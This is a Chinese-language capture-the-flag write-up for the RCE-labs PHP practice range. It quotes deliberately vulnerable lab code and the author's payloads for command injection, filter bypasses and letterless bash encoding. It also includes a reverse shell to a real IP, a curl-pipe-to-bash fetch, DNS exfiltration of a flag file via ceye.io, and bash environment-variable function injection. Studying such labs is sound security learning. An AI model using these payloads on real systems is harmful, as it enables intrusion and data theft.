RCE-labs-练习(上)

RCE-labs-wp(上)

题目来源

https://github.com/ProbiusOfficial/RCE-labs

这里用的是CTFplus的复现环境进行靶场练习的

这里放一些大佬关于RCE的笔记

RCE | Lazzaro

RCE-Labs超详细WP-Level13&Level14(PHP下的0/1构造RCE命令&简单的字数限制RCE)

前言

  1. 基础概念(Level 0-3)

Level 0: 代码执行与命令执行的基本概念区分
Level 1: 一句话木马和代码执行原理
Level 2: PHP 常见代码执行函数介绍
Level 3: 命令执行基本原理

  1. 命令执行技巧(Level 4-18)

Level 4-8: Shell 运算符、黑名单绕过、通配符匹配、空格过滤、文件描述与重定向
Level 9-13: 无字母命令执行系列(八进制转义、二进制整数替换、特殊变量替换)
Level 14-16: 字符限制下的 RCE 技巧(7字符、5字符、4字符)
Level 17-18: PHP 命令执行函数与环境变量注入

  1. RCE 利用路径(Level 19-21)

Level 19: 文件写入导致的 RCE
Level 20: 文件上传导致的 RCE
Level 21: 文件包含导致的 RCE

  1. PHP 特性利用(Level 22-26)

Level 22-23: 动态调用与自增特性
Level 24: 无参数命令执行
Level 25: 取反绕过技术
Level 26: 无字母数字的代码执行

  1. 高级技术(Level 27)

Level 27: 模板注入导致的 RCE

基础概念(0-3)

level-2

[Hello-CTF]RCE-Labs超详细WP-Level 2-CSDN博客

主要就是十个函数的作用,让大家学习代码执行的常见函数

  1. ${}
    动态解析变量或表达式,可配合eval间接执行代码。
  2. eval()
    执行字符串中的PHP代码,常用于动态代码生成(高危函数)。
  3. assert()
    断言测试(PHP 8.0前字符串参数可执行代码,现已移除)。
  4. call_user_func()
    动态调用回调函数,支持函数名或闭包。
  5. create_function()
    创建匿名函数(PHP 7.2废弃,8.0移除,存在注入风险)。
  6. array_map()
    将回调函数应用到数组每个元素,返回处理后的新数组。
  7. call_user_func_array()
    动态调用函数,参数以数组形式传递(支持变长参数)。
  8. usort()
    用自定义比较函数对数组排序(依赖用户定义的规则)。
  9. array_filter()
    通过回调函数筛选数组元素,保留返回真值的项。
  10. array_reduce()
    迭代数组元素,通过回调逐步合并为单一值(如累加操作)。

1. eval

  • 作用:执行字符串作为 PHP 代码。
  • 获取 $flag:eval('echo $flag;') 直接执行 echo $flag;,输出 $flag。
  • 特点:简单直接,但高危,易受语法错误影响。

2. assert

  • 作用:评估字符串或表达式,若为字符串则作为 PHP 代码执行。
  • 获取 $flag:assert('echo $flag;') 执行代码,输出 $flag。
  • 特点:类似 eval,可能受 assert.active 配置限制。
获得新的函数: assert ,去 https://www.php.net/manual/zh/function.assert.php 查看函数详情。
Your Code: assert(${flag});

Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1

Fatal error: Uncaught ParseError: syntax error, unexpected '{', expecting ';' in /var/www/html/index.php(26) : eval()'d code(1) : assert code:1 Stack trace: #0 /var/www/html/index.php(26) : eval()'d code(1): assert('Geesec{23950f7d...', 'assert(${flag})') #1 /var/www/html/index.php(26): eval() #2 /var/www/html/index.php(57): hello_ctf('assert', '${flag}') #3 /var/www/html/index.php(61): start('submit') #4 {main} Next Error: Failure evaluating code: assert(${flag}):"Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} " in /var/www/html/index.php(26) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(26) : eval()'d code(1): assert('Geesec{23950f7d...', 'assert(${flag})') #1 /var/www/html/index.php(26): eval() #2 /var/www/html/index.php(57): hello_ctf('assert', '${flag}') #3 /var/www/html/index.php(61): start('submit') #4 {main} thrown in /var/www/html/index.php(26) : eval()'d code on line 1
获得新的函数: assert ,去 https://www.php.net/manual/zh/function.assert.php 查看函数详情。
Your Code: assert(print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} 

3. call_user_func

  • 作用:调用指定函数,传递参数。
  • 获取 $flag:call_user_func('echo', $flag) 调用 echo,输出 $flag。
  • 特点:灵活,支持内置或用户定义函数,较安全。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});

Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1

4. create_function

  • 作用:创建匿名函数。
  • 获取 $flag:create_function('', 'global $flag; echo $flag;')() 创建并执行匿名函数,输出 $flag。
  • 特点:适合构造动态函数,PHP 7.2+ 已弃用。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});

Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1

5. array_map

  • 作用:对数组元素应用回调函数。
  • 获取 $flag:array_map(function($item) use ($flag) { echo $flag; }, [$flag]) 在回调中输出 $flag。
  • 特点:利用回调副作用,需构造数组触发执行。
获得新的函数: array_map ,去 https://www.php.net/manual/zh/function.array-map.php 查看函数详情。
Your Code: array_map(print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
Warning: array_map() expects at least 2 parameters, 1 given in /var/www/html/index.php(26) : eval()'d code on line 1

6. call_user_func_array

  • 作用:调用函数,参数以数组形式传递。
  • 获取 $flag:call_user_func_array('echo', [$flag]) 调用 echo,输出 $flag。
  • 特点:与 call_user_func 类似,参数传递更灵活。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});

Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1

7. usort

  • 作用:使用回调函数对数组排序。
  • 获取 $flag:usort([1, 2], function($a, $b) use ($flag) { echo $flag; return 0; }) 在比较回调中输出 $flag。
  • 特点:利用排序回调副作用,需构造数组。
获得新的函数: usort ,去 https://www.php.net/manual/zh/function.usort.php 查看函数详情。
Your Code: usort(print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
Warning: usort() expects exactly 2 parameters, 1 given in /var/www/html/index.php(26) : eval()'d code on line 1

8. array_filter

  • 作用:使用回调过滤数组元素。
  • 获取 $flag:array_filter([$flag], function($item) use ($flag) { echo $flag; return true; }) 在过滤回调中输出 $flag。
  • 特点:类似 array_map,关注回调副作用。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});

Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1

9. array_reduce

  • 作用:使用回调对数组元素进行归约。
  • 获取 $flag:array_reduce([$flag], function($carry, $item) use ($flag) { echo $flag; return $carry; }, null) 在归约回调中输出 $flag。
  • 特点:利用回调副作用,逻辑稍复杂
获得新的函数: array_reduce ,去 https://www.php.net/manual/zh/function.array-reduce.php 查看函数详情。
Your Code: array_reduce($a,print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
Warning: array_reduce() expects parameter 1 to be array, null given in /var/www/html/index.php(26) : eval()'d code on line 1

10. preg_replace

  • 作用:正则替换,/e 修饰符可执行代码(PHP 7.4 之前)。
  • 获取 $flag:preg_replace('/.*/e', 'echo $flag;', 'x') 执行 echo $flag;,输出 $flag。
  • 特点:依赖 /e 修饰符,现代 PHP 不可用,CTF 常见。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});

Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1

level-3

主要考察命令执行

命令执行技巧(4-18)

Level 4-8: Shell 运算符、黑名单绕过、通配符匹配、空格过滤、文件描述与重定向
Level 9-13: 无字母命令执行系列(八进制转义、二进制整数替换、特殊变量替换)
Level 14-16: 字符限制下的 RCE 技巧(7字符、5字符、4字符)
Level 17-18: PHP 命令执行函数与环境变量注入

level-4

命令执行 SHELL 运算符

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 --- 

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例:  mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例:  cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例:  sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例:  echo "Hello" ; echo "World"


try GET:
    ?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
    system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>
;(分号) 分隔命令 强制执行;后的命令
&&(逻辑与) 与命令 必须第一个执行成功
&(后台符) 后台命令 &前后台运行,后立即执行
|(管道符) 或命令 将|前当做输入,或直接执行|后命令
$( ) 或反引号 命令替代 将子命令输出嵌入主命令
空格绕过(${IFS}, <, >) 重定向
外带数据(curl, wget) DNS外带

只有下边两个命令能执行

?ip=;cat /flag
    |cat /flag

level-5

命令执行 黑名单式过滤

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 --- 

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...


*/

function hello_shell($cmd){
    if(preg_match("/flag/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

主要就是绕过flag

cat /fla[f-g]//匹配[]中任意一个
cat /fla[^a]//匹配[]外的
    cat /f*//匹配f开头的
    cat /fla?//?代替任意一个字符
    cat /fla'g'
    cat /fla"g"

level-6

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 挑战关 --- 

刚才,学了什么来着!?

*/

function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

过滤的字符

  • 字母:b-z(小写)、A-Z(大写),即除了a外的所有字母。
  • 特殊字符:_、@、#、%、^、&、*、:、{、}、-、+、<、>、"、```、|、;、[、]。

未被过滤的字符

  • 字母:a(小写)。
  • 数字:0-9。
  • 特殊字符:.、,、$、=、!、/、\、空格等。

直接?a? /??a? 是成功的前提是,环境配置正确

  • $PATH 包含 /bin 或 /usr/bin,且 cat 存在于这些目录。
  • Shell 能正确解析命令。

也许是path问题,没有执行成功

使用绝对路径(如 /bin/cat)以确保命令执行的可靠性。

/?cmd=/???/?a? /??a? 
    //能匹配到/bin/cat /flag ,接着搜索Geesec即可

image-20250417115527424

?cmd=/???/?a??64 /??a?
    //匹配到/bin/base64 /flag,将/flag进行base64编码后输出

同理,使用?执行通配符绕过,匹配命令即可读取

level-7

空格过滤

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 --- 

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。


*/

function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

?>

/?cmd=cat%09/f*

/?cmd=cat$IFS/f*

level-8

文件描述与重定向

<?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 --- 

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/

function hello_shell($cmd){
    /*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
    system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

system($cmd.">/dev/null 2>&1");

这行代码将执行命令 $cmd,并且将其标准输出和标准错误输出都重定向到 /dev/null,这意味着无论命令的输出还是可能产生的错误信息都不会显示出来

/dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。

2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上。

payload:

直接用命令分隔符分开就行了

/?cmd=cat /flag; 

也可以重定向到一个文件中

/?cmd=cat /flag >1.txt;
/1.txt

level-9

无字母命令执行_八进制转义

<?php 
/*

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Mar 16  2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r--    1 www-data www-data       829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

上边赛题提示,已经将 /bin/sh 设置为指向 /bin/bash 的符号链接。换句话说,运行 /bin/sh 时,实际上会调用 /bin/bash

接下来就是bash的8进制绕过

为了方便做题,特地提示我们:

  1. 即使是八进制,同样需要空格
  2. 提供了一个BashFuck工具在exp.php中

image-20250417153103413

/?cmd=$'\143\141\164' $'\57\146\154\141\147'

这个Exp.php写的非常好,我给dump下来了,方便以后使用

官方真是太好了!!!

level-10

无字母命令执行_二进制整数替换

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这题把数字ban了,不能八进制了

提示使用2进制,0,1两个数字让用

同上题一样,有脚本以及在线的网站

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/

不行,二进制数据转换好多执行不成功

RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)

详情见上边大佬讲解

image-20250418104628271

$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

上边是二进制cat /flag,本地是没问题的

但是直接get传参没结果

由于#在get具有特殊意义

在 URL 中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分

所以要进行URL编码才能执行成功

$0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\'

记住:一个字符对应一段编码,就有一个#,所以cat /flag编码后有9个#

level-11

无字母命令执行_整数1的特殊变量替换

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1 

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;

highlight_file(__FILE__);


?>

这题把整数1也给ban了

题目也提示了用 ${##} 来替换 1

变量 含义 示例输出
${#} 传递给脚本或函数的参数个数 0(参数为空时)
duan@F0T0ne:~$ echo $#
0
duan@F0T0ne:~$ echo ${##}
1

如上所说 ${#xxx}, 它用于表示变量 xxx 存储的字符串长度

将#当作变量,该变量参数值为0,长度为1

利用exp.php中第三个转换即可,这次是post传参,不需要URL编码

level-13

无字母命令执行_特殊扩展替换任意数字

 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为 $(()) + 取反 构造任意数字

echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

?>

使用取反绕过,之后进行URL编码get传参即可

level-14

7字符RCE

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE --- 


*/

if(isset($_GET[1]) && strlen($_GET[1]) < 8){
    echo strlen($_GET[1]);
    echo '<hr/>';
    echo shell_exec($_GET[1]);
}else{
    exit('too long');
}

highlight_file(__FILE__);


?>

只是限制RCE长度,通配符直接过

level-15(fail)

RCE-Labs超详细WP-Level15(5字符限制RCE-文件名拼接反弹Shell命令)

反弹shell一直不成功

socat -v tcp-l:80,reuseaddr,fork exec:'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" bash -i >&/dev/tcp/123.57.193.70/9999 0>&1'
curl\ 192.168.198.135\|bash
>bash (因为这个在最后所以不需要接\来连接后面的命令)
>99\|\
>99\  (这里因为 `.` 不能作为文件名开头, 所以这里并未把5个字符用满)
>93.\
>7.1\
>5\
>23.\
>\ 1\
>url\
>c\
>\ \
>-t\
>\>a
>ls\
ls>b
ls>>b
bash 
99\|\
99\ 
93.\
7.1\
5\
23.\
\ 1\
url\
c\
sh b
sh a

level-17

PHP命令执行函数

类似于level-2代码执行的函数

<?php 
session_start(); 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 --- 

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
    if($function == '``'){
        $code = '`'.$content.'`';
        echo "Your Code: $code <br>";
        eval("echo $code");
    }else
    {
        $code = $function . "(" . $content . ");";
        echo "Your Code: $code <br>";
        eval($code);
    } 
    
}

function get_fun(){

    $func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

    echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>
命令 使用
system system('ls')
exec() exec('ls', $result); print_r($result); 无输出,结果保存在数组中
shell_exec() echo shell_exec('ls'); 无输出,返回字符串
`` echo \cat /etc/passwd; 同上
passthru() passthru('ls'); 同ststem
popen() $result = popen('ls', 'r'); echo fread($result, 100); 配合fread读取结果
  1. 重定向:exec,shell_exec,``
'cat /flag |tee 1.txt'
'cat /flag > 2.txt'

写到另一个文件下即可

获得新的函数: passthru ,去 https://www.php.net/manual/zh/function.passthru.php 查看函数详情。
Your Code: passthru('cp /flag 1.txt');
获得新的函数: shell_exec ,去 https://www.php.net/manual/zh/function.shell-exec.php 查看函数详
Your Code: shell_exec('cp /flag 1.txt');
获得新的函数: exec ,去 https://www.php.net/manual/zh/function.exec.php 查看函数详情。
Your Code: exec('cp /flag 1.txt');
  1. DNS外带(使用Base64编码并指定公共DNS服务器)

ping,curl都不成功,使用nslookup似乎跟直接

payload:

content='nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io'
获得新的函数: system ,去 https://www.php.net/manual/zh/function.system.php 查看函数详情。
Your Code: system('nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io');
Server: 127.0.0.11 Address: 127.0.0.11:53 ** server can't find TlNTQ1RGezc3ZmFlNmMzLWVjMWItNDg4OC05ZTI4LTI2ZjgzMz.fdmsda.ceye.io: NXDOMAIN Non-authoritative answer: Name: tlntq1rgezc3zmflnmmzlwvjmwitndg4oc05zti4lti2zjgzmz.fdmsda.ceye.io Address: 119.8.28.134

三级域名就是flag编码内容

NSSCTF{77fae6c3-ec1b-4888-9e28-26f83383f836}

https://lmcmc.github.io/2020/11/28/RCE之执行无回显/#2-2-1-利用平台-http-ceye-io

贴一下大佬关于无回显的总结

  1. 反弹shell

似乎shell命令不能执行

bash -i >& /dev/tcp/ip/8888 0>&1

贴一下csdn佬的总结

[CTF]命令执行无回显利用_ctf无回显命令执行-CSDN博客

level-18

环境变量注入

 <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 --- 

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

给的P神的文章,下边是在跳跳糖上发的,主题是白的(个人喜好),就把白的粘上来了

https://tttang.com/archive/1450/#toc_0x0b

本地测试

duan@F0T0ne:~$ env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
hello
duan@F0T0ne:~$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=1000(duan) gid=1000(duan) groups=1000(duan),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)
  1. 分析payload:

BASH_FUNC_echo%%: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }。这里定义了一个名为 echo 的 Bash 函数,内容是执行 id 命令。

env: 用于设置环境变量并在新的环境中执行命令。

